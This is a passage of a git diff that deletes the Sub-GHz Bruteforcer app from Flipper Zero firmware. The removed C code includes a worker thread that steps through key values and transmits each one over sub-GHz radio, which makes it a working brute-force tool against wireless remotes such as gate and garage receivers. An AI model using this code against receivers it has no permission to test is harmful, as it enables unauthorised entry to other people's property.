Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/subghz_bruteforcer/application.fam b/applications/external/subghz_bruteforcer/application.fam deleted file mode 100644 index bb9cd6d24..000000000 --- a/applications/external/subghz_bruteforcer/application.fam +++ /dev/null @@ -1,11 +0,0 @@ -App( - appid="subghz_bruteforcer", - name="Sub-GHz Bruteforcer", - apptype=FlipperAppType.EXTERNAL, - entry_point="subbrute_app", - requires=["gui", "dialogs"], - stack_size=2 * 1024, - fap_icon="subbrute_10px.png", - fap_category="Sub-GHz", - fap_icon_assets="images", -) diff --git a/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c deleted file mode 100644 index 0415c5ae7..000000000 --- a/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "gui_top_buttons.h" - -void elements_button_top_left(Canvas* canvas, const char* str) { - const Icon* icon = &I_ButtonUp_7x4; - - const uint8_t button_height = 12; - const uint8_t vertical_offset = 3; - const uint8_t horizontal_offset = 3; - const uint8_t string_width = canvas_string_width(canvas, str); - const uint8_t icon_h_offset = 3; - const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset; - const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset; - const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; - - const uint8_t x = 0; - const uint8_t y = 0 + button_height; - - uint8_t line_x = x + button_width; - uint8_t line_y = y - button_height; - canvas_draw_box(canvas, x, line_y, button_width, button_height); - canvas_draw_line(canvas, line_x + 0, line_y, line_x + 0, y - 1); - canvas_draw_line(canvas, line_x + 1, line_y, line_x + 1, y - 2); - canvas_draw_line(canvas, line_x + 2, line_y, line_x + 2, y - 3); - - canvas_invert_color(canvas); - canvas_draw_icon(canvas, x + horizontal_offset, y - icon_v_offset, icon); - canvas_draw_str( - canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str); - canvas_invert_color(canvas); -} - -void elements_button_top_right(Canvas* canvas, const char* str) { - const Icon* icon = &I_ButtonDown_7x4; - - const uint8_t button_height = 12; - const uint8_t vertical_offset = 3; - const uint8_t horizontal_offset = 3; - const uint8_t string_width = canvas_string_width(canvas, str); - const uint8_t icon_h_offset = 3; - const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset; - const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset + 1; - const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; - - const uint8_t x = canvas_width(canvas); - const uint8_t y = 0 + button_height; - - uint8_t line_x = x - button_width; - uint8_t line_y = y - button_height; - canvas_draw_box(canvas, line_x, line_y, button_width, button_height); - canvas_draw_line(canvas, line_x - 1, line_y, line_x - 1, y - 1); - canvas_draw_line(canvas, line_x - 2, line_y, line_x - 2, y - 2); - canvas_draw_line(canvas, line_x - 3, line_y, line_x - 3, y - 3); - - canvas_invert_color(canvas); - canvas_draw_str(canvas, x - button_width + horizontal_offset, y - vertical_offset, str); - canvas_draw_icon( - canvas, x - horizontal_offset - icon_get_width(icon), y - icon_v_offset, icon); - canvas_invert_color(canvas); -} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h b/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h deleted file mode 100644 index 8a98d3b66..000000000 --- a/applications/external/subghz_bruteforcer/helpers/gui_top_buttons.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include "subghz_bruteforcer_icons.h" -#include -#include -#include -#include -#include - -/** - * Thanks to the author of metronome - * @param canvas - * @param str - */ -void elements_button_top_left(Canvas* canvas, const char* str); - -/** - * Thanks to the author of metronome - * @param canvas - * @param str - */ -void elements_button_top_right(Canvas* canvas, const char* str); diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_radio_device_loader.c b/applications/external/subghz_bruteforcer/helpers/subbrute_radio_device_loader.c deleted file mode 100644 index f09bc7136..000000000 --- a/applications/external/subghz_bruteforcer/helpers/subbrute_radio_device_loader.c +++ /dev/null @@ -1,83 +0,0 @@ -//#include "../../../lib/subghz/protocols/protocol_items.h" -//#include "../../../firmware//targets/f7/furi_hal/furi_hal_subghz.h" -#include -//#include "../../../furi/core/check.h" -// furi/core/check.h -#include -#include -#include -#include -#include "subbrute_radio_device_loader.h" - -#define TAG "SubBruteRadioDeviceLoader" - -static void subbrute_radio_device_loader_power_on() { - uint8_t attempts = 5; - while(--attempts > 0) { - if(furi_hal_power_enable_otg()) { - break; - } - } - if(attempts == 0) { - if(furi_hal_power_get_usb_voltage() < 4.5f) { - FURI_LOG_E( - TAG, - "Error power otg enable. BQ2589 check otg fault = %d", - furi_hal_power_check_otg_fault() ? 1 : 0); - } - } -} - -static void subbrute_radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } -} - -bool subbrute_radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - subbrute_radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - subbrute_radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* subbrute_radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - subbrute_radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - subbrute_radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - subbrute_radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -void subbrute_radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - - subbrute_radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_radio_device_loader.h b/applications/external/subghz_bruteforcer/helpers/subbrute_radio_device_loader.h deleted file mode 100644 index 664d9ac36..000000000 --- a/applications/external/subghz_bruteforcer/helpers/subbrute_radio_device_loader.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include -#include -#include "subghz/helpers/subghz_types.h" - -const SubGhzDevice* subbrute_radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -void subbrute_radio_device_loader_end(const SubGhzDevice* radio_device); diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c deleted file mode 100644 index 2061f7c81..000000000 --- a/applications/external/subghz_bruteforcer/helpers/subbrute_worker.c +++ /dev/null @@ -1,501 +0,0 @@ -#include "subbrute_worker_private.h" -#include -#include -#include -#include -#include - -#define TAG "SubBruteWorker" -#define SUBBRUTE_TX_TIMEOUT 6 -#define SUBBRUTE_MANUAL_TRANSMIT_INTERVAL 250 - -SubBruteWorker* subbrute_worker_alloc(const SubGhzDevice* radio_device) { - SubBruteWorker* instance = malloc(sizeof(SubBruteWorker)); - - instance->state = SubBruteWorkerStateIDLE; - instance->step = 0; - instance->worker_running = false; - instance->initiated = false; - instance->last_time_tx_data = 0; - instance->load_index = 0; - - instance->thread = furi_thread_alloc(); - furi_thread_set_name(instance->thread, "SubBruteAttackWorker"); - furi_thread_set_stack_size(instance->thread, 2048); - furi_thread_set_context(instance->thread, instance); - furi_thread_set_callback(instance->thread, subbrute_worker_thread); - - instance->context = NULL; - instance->callback = NULL; - - instance->tx_timeout_ms = SUBBRUTE_TX_TIMEOUT; - instance->decoder_result = NULL; - instance->transmitter = NULL; - instance->environment = subghz_environment_alloc(); - subghz_environment_set_protocol_registry( - instance->environment, (void*)&subghz_protocol_registry); - - instance->transmit_mode = false; - - instance->radio_device = radio_device; - - return instance; -} - -void subbrute_worker_free(SubBruteWorker* instance) { - furi_assert(instance); - - // I don't know how to free this - instance->decoder_result = NULL; - - if(instance->transmitter != NULL) { - subghz_transmitter_free(instance->transmitter); - instance->transmitter = NULL; - } - - subghz_environment_free(instance->environment); - instance->environment = NULL; - - furi_thread_free(instance->thread); - - subghz_devices_sleep(instance->radio_device); - subbrute_radio_device_loader_end(instance->radio_device); - - free(instance); -} - -uint64_t subbrute_worker_get_step(SubBruteWorker* instance) { - return instance->step; -} - -bool subbrute_worker_set_step(SubBruteWorker* instance, uint64_t step) { - furi_assert(instance); - if(!subbrute_worker_can_manual_transmit(instance)) { - FURI_LOG_W(TAG, "Cannot set step during running mode"); - return false; - } - - instance->step = step; - - return true; -} - -bool subbrute_worker_init_default_attack( - SubBruteWorker* instance, - SubBruteAttacks attack_type, - uint64_t step, - const SubBruteProtocol* protocol, - uint8_t repeats) { - furi_assert(instance); - - if(instance->worker_running) { - FURI_LOG_W(TAG, "Init Worker when it's running"); - subbrute_worker_stop(instance); - } - - instance->attack = attack_type; - instance->frequency = protocol->frequency; - instance->preset = protocol->preset; - instance->file = protocol->file; - instance->step = step; - instance->bits = protocol->bits; - instance->te = protocol->te; - instance->repeat = repeats; - instance->load_index = 0; - instance->file_key = 0; - instance->two_bytes = false; - - instance->max_value = - subbrute_protocol_calc_max_value(instance->attack, instance->bits, instance->two_bytes); - - instance->initiated = true; - instance->state = SubBruteWorkerStateReady; - subbrute_worker_send_callback(instance); -#ifdef FURI_DEBUG - FURI_LOG_I( - TAG, - "subbrute_worker_init_default_attack: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld", - subbrute_protocol_name(instance->attack), - instance->bits, - subbrute_protocol_preset(instance->preset), - subbrute_protocol_file(instance->file), - instance->te, - instance->repeat, - instance->max_value); -#endif - - return true; -} - -bool subbrute_worker_init_file_attack( - SubBruteWorker* instance, - uint64_t step, - uint8_t load_index, - uint64_t file_key, - SubBruteProtocol* protocol, - uint8_t repeats, - bool two_bytes) { - furi_assert(instance); - - if(instance->worker_running) { - FURI_LOG_W(TAG, "Init Worker when it's running"); - subbrute_worker_stop(instance); - } - - instance->attack = SubBruteAttackLoadFile; - instance->frequency = protocol->frequency; - instance->preset = protocol->preset; - instance->file = protocol->file; - instance->step = step; - instance->bits = protocol->bits; - instance->te = protocol->te; - instance->load_index = load_index; - instance->repeat = repeats; - instance->file_key = file_key; - instance->two_bytes = two_bytes; - - instance->max_value = - subbrute_protocol_calc_max_value(instance->attack, instance->bits, instance->two_bytes); - - instance->initiated = true; - instance->state = SubBruteWorkerStateReady; - subbrute_worker_send_callback(instance); -#ifdef FURI_DEBUG - FURI_LOG_I( - TAG, - "subbrute_worker_init_file_attack: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld, key: %llX", - subbrute_protocol_name(instance->attack), - instance->bits, - subbrute_protocol_preset(instance->preset), - subbrute_protocol_file(instance->file), - instance->te, - instance->repeat, - instance->max_value, - instance->file_key); -#endif - - return true; -} - -bool subbrute_worker_start(SubBruteWorker* instance) { - furi_assert(instance); - - if(!instance->initiated) { - FURI_LOG_W(TAG, "Worker not init!"); - return false; - } - - if(instance->worker_running) { - FURI_LOG_W(TAG, "Worker is already running!"); - return false; - } - if(instance->state != SubBruteWorkerStateReady && - instance->state != SubBruteWorkerStateFinished) { - FURI_LOG_W(TAG, "Worker cannot start, invalid device state: %d", instance->state); - return false; - } - - instance->worker_running = true; - furi_thread_start(instance->thread); - - return true; -} - -void subbrute_worker_stop(SubBruteWorker* instance) { - furi_assert(instance); - - if(!instance->worker_running) { - return; - } - - instance->worker_running = false; - furi_thread_join(instance->thread); - - subghz_devices_idle(instance->radio_device); -} - -bool subbrute_worker_transmit_current_key(SubBruteWorker* instance, uint64_t step) { - furi_assert(instance); - - if(!instance->initiated) { - FURI_LOG_W(TAG, "Worker not init!"); - return false; - } - if(instance->worker_running) { - FURI_LOG_W(TAG, "Worker in running state!"); - return false; - } - if(instance->state != SubBruteWorkerStateReady && - instance->state != SubBruteWorkerStateFinished) { - FURI_LOG_W(TAG, "Invalid state for running worker! State: %d", instance->state); - return false; - } - - uint32_t ticks = furi_get_tick(); - if((ticks - instance->last_time_tx_data) < SUBBRUTE_MANUAL_TRANSMIT_INTERVAL) { -#if FURI_DEBUG - FURI_LOG_D(TAG, "Need to wait, current: %ld", ticks - instance->last_time_tx_data); -#endif - return false; - } - - instance->last_time_tx_data = ticks; - instance->step = step; - - bool result; - instance->protocol_name = subbrute_protocol_file(instance->file); - FlipperFormat* flipper_format = flipper_format_string_alloc(); - Stream* stream = flipper_format_get_raw_stream(flipper_format); - - stream_clean(stream); - - if(instance->attack == SubBruteAttackLoadFile) { - subbrute_protocol_file_payload( - stream, - step, - instance->bits, - instance->te, - instance->repeat, - instance->load_index, - instance->file_key, - instance->two_bytes); - } else { - subbrute_protocol_default_payload( - stream, instance->file, step, instance->bits, instance->te, instance->repeat); - } - - // size_t written = stream_write_string(stream, payload); - // if(written <= 0) { - // FURI_LOG_W(TAG, "Error creating packet! EXIT"); - // result = false; - // } else { - subbrute_worker_subghz_transmit(instance, flipper_format); - - result = true; -#if FURI_DEBUG - FURI_LOG_D(TAG, "Manual transmit done"); -#endif - // } - - flipper_format_free(flipper_format); - // furi_string_free(payload); - - return result; -} - -bool subbrute_worker_is_running(SubBruteWorker* instance) { - return instance->worker_running; -} - -bool subbrute_worker_can_manual_transmit(SubBruteWorker* instance) { - furi_assert(instance); - - if(!instance->initiated) { - FURI_LOG_W(TAG, "Worker not init!"); - return false; - } - - return !instance->worker_running && instance->state != SubBruteWorkerStateIDLE && - instance->state != SubBruteWorkerStateTx && - ((furi_get_tick() - instance->last_time_tx_data) > SUBBRUTE_MANUAL_TRANSMIT_INTERVAL); -} - -void subbrute_worker_set_callback( - SubBruteWorker* instance, - SubBruteWorkerCallback callback, - void* context) { - furi_assert(instance); - - instance->callback = callback; - instance->context = context; -} - -void subbrute_worker_subghz_transmit(SubBruteWorker* instance, FlipperFormat* flipper_format) { - const uint8_t timeout = instance->tx_timeout_ms; - while(instance->transmit_mode) { - furi_delay_ms(timeout); - } - instance->transmit_mode = true; - if(instance->transmitter != NULL) { - subghz_transmitter_free(instance->transmitter); - instance->transmitter = NULL; - } - instance->transmitter = - subghz_transmitter_alloc_init(instance->environment, instance->protocol_name); - subghz_transmitter_deserialize(instance->transmitter, flipper_format); - - subghz_devices_reset(instance->radio_device); - subghz_devices_idle(instance->radio_device); - subghz_devices_load_preset(instance->radio_device, instance->preset, NULL); - subghz_devices_set_frequency( - instance->radio_device, instance->frequency); // TODO is freq valid check - - if(subghz_devices_set_tx(instance->radio_device)) { - subghz_devices_start_async_tx( - instance->radio_device, subghz_transmitter_yield, instance->transmitter); - while(!subghz_devices_is_async_complete_tx(instance->radio_device)) { - furi_delay_ms(timeout); - } - subghz_devices_stop_async_tx(instance->radio_device); - } - - subghz_devices_idle(instance->radio_device); - - subghz_transmitter_stop(instance->transmitter); - subghz_transmitter_free(instance->transmitter); - instance->transmitter = NULL; - - instance->transmit_mode = false; -} - -void subbrute_worker_send_callback(SubBruteWorker* instance) { - if(instance->callback != NULL) { - instance->callback(instance->context, instance->state); - } -} - -/** - * Entrypoint for worker - * - * @param context SubBruteWorker* - * @return 0 if ok - */ -int32_t subbrute_worker_thread(void* context) { - furi_assert(context); - SubBruteWorker* instance = (SubBruteWorker*)context; - - if(!instance->worker_running) { - FURI_LOG_W(TAG, "Worker is not set to running state!"); - return -1; - } - if(instance->state != SubBruteWorkerStateReady && - instance->state != SubBruteWorkerStateFinished) { - FURI_LOG_W(TAG, "Invalid state for running worker! State: %d", instance->state); - return -2; - } -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "Worker start"); -#endif - - SubBruteWorkerState local_state = instance->state = SubBruteWorkerStateTx; - subbrute_worker_send_callback(instance); - - instance->protocol_name = subbrute_protocol_file(instance->file); - - FlipperFormat* flipper_format = flipper_format_string_alloc(); - Stream* stream = flipper_format_get_raw_stream(flipper_format); - - while(instance->worker_running) { - stream_clean(stream); - if(instance->attack == SubBruteAttackLoadFile) { - subbrute_protocol_file_payload( - stream, - instance->step, - instance->bits, - instance->te, - instance->repeat, - instance->load_index, - instance->file_key, - instance->two_bytes); - } else { - subbrute_protocol_default_payload( - stream, - instance->file, - instance->step, - instance->bits, - instance->te, - instance->repeat); - } -#ifdef FURI_DEBUG - //FURI_LOG_I(TAG, "Payload: %s", furi_string_get_cstr(payload)); - //furi_delay_ms(SUBBRUTE_MANUAL_TRANSMIT_INTERVAL / 4); -#endif - - // size_t written = stream_write_stream_write_string(stream, payload); - // if(written <= 0) { - // FURI_LOG_W(TAG, "Error creating packet! BREAK"); - // instance->worker_running = false; - // local_state = SubBruteWorkerStateIDLE; - // furi_string_free(payload); - // break; - // } - - subbrute_worker_subghz_transmit(instance, flipper_format); - - if(instance->step + 1 > instance->max_value) { -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "Worker finished to end"); -#endif - local_state = SubBruteWorkerStateFinished; - // furi_string_free(payload); - break; - } - instance->step++; - - // furi_string_free(payload); - furi_delay_ms(instance->tx_timeout_ms); - } - - flipper_format_free(flipper_format); - - instance->worker_running = false; // Because we have error states - instance->state = local_state == SubBruteWorkerStateTx ? SubBruteWorkerStateReady : - local_state; - subbrute_worker_send_callback(instance); - -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "Worker stop"); -#endif - return 0; -} - -uint8_t subbrute_worker_get_timeout(SubBruteWorker* instance) { - return instance->tx_timeout_ms; -} - -void subbrute_worker_set_timeout(SubBruteWorker* instance, uint8_t timeout) { - instance->tx_timeout_ms = timeout; -} - -uint8_t subbrute_worker_get_repeats(SubBruteWorker* instance) { - return instance->repeat; -} - -void subbrute_worker_set_repeats(SubBruteWorker* instance, uint8_t repeats) { - instance->repeat = repeats; -} - -uint32_t subbrute_worker_get_te(SubBruteWorker* instance) { - return instance->te; -} - -void subbrute_worker_set_te(SubBruteWorker* instance, uint32_t te) { - instance->te = te; -} - -// void subbrute_worker_timeout_inc(SubBruteWorker* instance) { -// if(instance->tx_timeout_ms < 255) { -// instance->tx_timeout_ms++; -// } -// } - -// void subbrute_worker_timeout_dec(SubBruteWorker* instance) { -// if(instance->tx_timeout_ms > 0) { -// instance->tx_timeout_ms--; -// } -// } - -bool subbrute_worker_is_tx_allowed(SubBruteWorker* instance, uint32_t value) { - furi_assert(instance); - bool res = false; - - if(!subghz_devices_is_frequency_valid(instance->radio_device, value)) { - return false; - } else { - subghz_devices_set_frequency(instance->radio_device, value); - res = subghz_devices_set_tx(instance->radio_device); - subghz_devices_idle(instance->radio_device); - } - - return res; -} diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h b/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h deleted file mode 100644 index 38caf5f6d..000000000 --- a/applications/external/subghz_bruteforcer/helpers/subbrute_worker.h +++ /dev/null @@ -1,56 +0,0 @@ -#pragma once - -#include "../subbrute_protocols.h" -#include "subbrute_radio_device_loader.h" - -typedef enum { - SubBruteWorkerStateIDLE, - SubBruteWorkerStateReady, - SubBruteWorkerStateTx, - SubBruteWorkerStateFinished -} SubBruteWorkerState; - -typedef void (*SubBruteWorkerCallback)(void* context, SubBruteWorkerState state); - -typedef struct SubBruteWorker SubBruteWorker; - -SubBruteWorker* subbrute_worker_alloc(const SubGhzDevice* radio_device); -void subbrute_worker_free(SubBruteWorker* instance); -uint64_t subbrute_worker_get_step(SubBruteWorker* instance); -bool subbrute_worker_set_step(SubBruteWorker* instance, uint64_t step); -bool subbrute_worker_is_running(SubBruteWorker* instance); -bool subbrute_worker_init_default_attack( - SubBruteWorker* instance, - SubBruteAttacks attack_type, - uint64_t step, - const SubBruteProtocol* protocol, - uint8_t repeats); -bool subbrute_worker_init_file_attack( - SubBruteWorker* instance, - uint64_t step, - uint8_t load_index, - uint64_t file_key, - SubBruteProtocol* protocol, - uint8_t repeats, - bool two_bytes); -bool subbrute_worker_start(SubBruteWorker* instance); -void subbrute_worker_stop(SubBruteWorker* instance); -bool subbrute_worker_transmit_current_key(SubBruteWorker* instance, uint64_t step); -bool subbrute_worker_can_manual_transmit(SubBruteWorker* instance); -void subbrute_worker_set_callback( - SubBruteWorker* instance, - SubBruteWorkerCallback callback, - void* context); - -uint8_t subbrute_worker_get_timeout(SubBruteWorker* instance); -void subbrute_worker_set_timeout(SubBruteWorker* instance, uint8_t timeout); -uint8_t subbrute_worker_get_repeats(SubBruteWorker* instance); -void subbrute_worker_set_repeats(SubBruteWorker* instance, uint8_t repeats); -uint32_t subbrute_worker_get_te(SubBruteWorker* instance); -void subbrute_worker_set_te(SubBruteWorker* instance, uint32_t te); - -// void subbrute_worker_timeout_inc(SubBruteWorker* instance); - -// void subbrute_worker_timeout_dec(SubBruteWorker* instance); - -bool subbrute_worker_is_tx_allowed(SubBruteWorker* instance, uint32_t value); diff --git a/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h b/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h deleted file mode 100644 index 7268389db..000000000 --- a/applications/external/subghz_bruteforcer/helpers/subbrute_worker_private.h +++ /dev/null @@ -1,50 +0,0 @@ -#pragma once - -#include "subbrute_worker.h" -#include -#include -#include -#include - -struct SubBruteWorker { - SubBruteWorkerState state; - volatile bool worker_running; - volatile bool initiated; - volatile bool transmit_mode; - - // Current step - uint64_t step; - - // SubGhz - FuriThread* thread; - SubGhzProtocolDecoderBase* decoder_result; - SubGhzEnvironment* environment; - SubGhzTransmitter* transmitter; - const char* protocol_name; - uint8_t tx_timeout_ms; - const SubGhzDevice* radio_device; - - // Initiated values - SubBruteAttacks attack; // Attack state - uint32_t frequency; - FuriHalSubGhzPreset preset; - SubBruteFileProtocol file; - uint8_t bits; - uint32_t te; - uint8_t repeat; - uint8_t load_index; // Index of group to bruteforce in loaded file - uint64_t file_key; - uint64_t max_value; // Max step - bool two_bytes; - - // Manual transmit - uint32_t last_time_tx_data; - - // Callback for changed states - SubBruteWorkerCallback callback; - void* context; -}; - -int32_t subbrute_worker_thread(void* context); -void subbrute_worker_subghz_transmit(SubBruteWorker* instance, FlipperFormat* flipper_format); -void subbrute_worker_send_callback(SubBruteWorker* instance); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene.h b/applications/external/subghz_bruteforcer/scenes/subbrute_scene.h deleted file mode 100644 index c048985e2..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) SubBruteScene##id, -typedef enum { -#include "subbrute_scene_config.h" - SubBruteSceneNum, -} SubBruteScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers subbrute_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "subbrute_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "subbrute_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "subbrute_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h deleted file mode 100644 index 3c7a3bfda..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_config.h +++ /dev/null @@ -1,8 +0,0 @@ -ADD_SCENE(subbrute, load_file, LoadFile) -ADD_SCENE(subbrute, load_select, LoadSelect) -ADD_SCENE(subbrute, run_attack, RunAttack) -ADD_SCENE(subbrute, save_name, SaveName) -ADD_SCENE(subbrute, save_success, SaveSuccess) -ADD_SCENE(subbrute, setup_attack, SetupAttack) -ADD_SCENE(subbrute, setup_extra, SetupExtra) -ADD_SCENE(subbrute, start, Start) \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c deleted file mode 100644 index 7cd318ed5..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_file.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -#define TAG "SubBruteSceneLoadFile" - -void subbrute_scene_load_file_on_enter(void* context) { - furi_assert(context); - SubBruteState* instance = (SubBruteState*)context; - - // Input events and views are managed by file_browser - FuriString* app_folder; - FuriString* load_path; - load_path = furi_string_alloc(); - app_folder = furi_string_alloc_set(SUBBRUTE_PATH); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, SUBBRUTE_FILE_EXT, &I_sub1_10px); - - SubBruteFileResult load_result = SubBruteFileResultUnknown; - // TODO: DELETE IT -#ifdef SUBBRUTE_FAST_TRACK - bool res = true; - furi_string_printf(load_path, "%s", EXT_PATH("subghz/princeton.sub")); -#else - bool res = - dialog_file_browser_show(instance->dialogs, load_path, app_folder, &browser_options); -#endif -#ifdef FURI_DEBUG - FURI_LOG_D( - TAG, - "load_path: %s, app_folder: %s", - furi_string_get_cstr(load_path), - furi_string_get_cstr(app_folder)); -#endif - if(res) { - load_result = - subbrute_device_load_from_file(instance->device, furi_string_get_cstr(load_path)); - if(load_result == SubBruteFileResultOk) { - instance->settings->last_index = SubBruteAttackLoadFile; - subbrute_settings_set_repeats( - instance->settings, subbrute_main_view_get_extra_repeats(instance->view_main)); - uint8_t extra_repeats = subbrute_settings_get_current_repeats(instance->settings); - - load_result = subbrute_device_attack_set( - instance->device, instance->settings->last_index, extra_repeats); - if(load_result == SubBruteFileResultOk) { - if(!subbrute_worker_init_file_attack( - instance->worker, - instance->device->current_step, - instance->device->bit_index, - instance->device->key_from_file, - instance->device->file_protocol_info, - extra_repeats, - instance->device->two_bytes)) { - furi_crash("Invalid attack set!"); - } - // Ready to run! - FURI_LOG_I(TAG, "Ready to run"); - res = true; - } - } - - if(load_result == SubBruteFileResultOk) { - subbrute_settings_save(instance->settings); - scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadSelect); - } else { - FURI_LOG_E(TAG, "Returned error: %d", load_result); - - FuriString* dialog_msg; - dialog_msg = furi_string_alloc(); - furi_string_cat_printf( - dialog_msg, "Cannot parse\nfile: %s", subbrute_device_error_get_desc(load_result)); - dialog_message_show_storage_error(instance->dialogs, furi_string_get_cstr(dialog_msg)); - furi_string_free(dialog_msg); - scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneStart); - } - } else { - scene_manager_search_and_switch_to_previous_scene( - instance->scene_manager, SubBruteSceneStart); - } - - furi_string_free(app_folder); - furi_string_free(load_path); -} - -void subbrute_scene_load_file_on_exit(void* context) { - UNUSED(context); -} - -bool subbrute_scene_load_file_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} diff --git a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c b/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c deleted file mode 100644 index 5d2af28ed..000000000 --- a/applications/external/subghz_bruteforcer/scenes/subbrute_scene_load_select.c +++ /dev/null @@ -1,93 +0,0 @@ -#include "../subbrute_i.h" -#include "subbrute_scene.h" - -#define TAG "SubBruteSceneStart" - -void subbrute_scene_load_select_callback(SubBruteCustomEvent event, void* context) { - furi_assert(context); - - SubBruteState* instance = (SubBruteState*)context; - view_dispatcher_send_custom_event(instance->view_dispatcher, event); -} - -void subbrute_scene_load_select_on_enter(void* context) { - furi_assert(context); -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "subbrute_scene_load_select_on_enter"); -#endif - SubBruteState* instance = (SubBruteState*)context; - SubBruteMainView* view = instance->view_main; - - instance->current_view = SubBruteViewMain; - subbrute_main_view_set_callback(view, subbrute_scene_load_select_callback, instance); - subbrute_main_view_set_index( - view, - 7, - instance->settings->repeat_values, - true, - instance->device->two_bytes, - instance->device->key_from_file); - - view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); -} - -void subbrute_scene_load_select_on_exit(void* context) { - UNUSED(context); -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "subbrute_scene_load_select_on_exit"); -#endif -} - -bool subbrute_scene_load_select_on_event(void* context, SceneManagerEvent 